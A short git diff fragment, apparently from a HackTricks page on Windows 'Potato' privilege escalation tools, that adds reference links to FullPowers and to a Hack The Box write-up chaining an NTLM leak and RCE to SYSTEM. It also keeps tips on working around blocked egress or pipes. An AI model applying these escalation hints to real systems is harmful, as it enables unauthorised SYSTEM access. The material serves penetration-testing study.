- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
|
||||
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
@ -187,5 +188,7 @@ SigmaPotato adds modern niceties like in-memory execution via .NET reflection an
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user